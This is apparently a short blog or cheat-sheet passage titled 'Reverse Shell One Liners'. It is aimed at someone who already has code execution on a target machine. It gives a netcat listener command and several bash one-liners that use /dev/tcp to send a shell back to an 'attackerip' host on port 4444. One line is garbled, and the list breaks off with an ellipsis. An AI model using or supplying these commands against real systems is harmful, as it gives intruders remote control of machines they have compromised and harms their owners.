Reverse Shell One Liners
There might be several occasions where you might have code execution on a target machine and you sit there wondering what to do next. Well here is what you can do. Setup netcat listener on port 4444. nc -nvlp 4444 Bash exec /bin/bash 0&0 2>&0 0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196 exec 5<>/dev/tcp/attackerip/4444 cat <&5 | while read line; do $line 2>&5 >&5; done # or: while read line 0<&5; do $line 2>&5 >&5; done bash -i >& /dev/tcp/attackerip/4444 0>&1 ...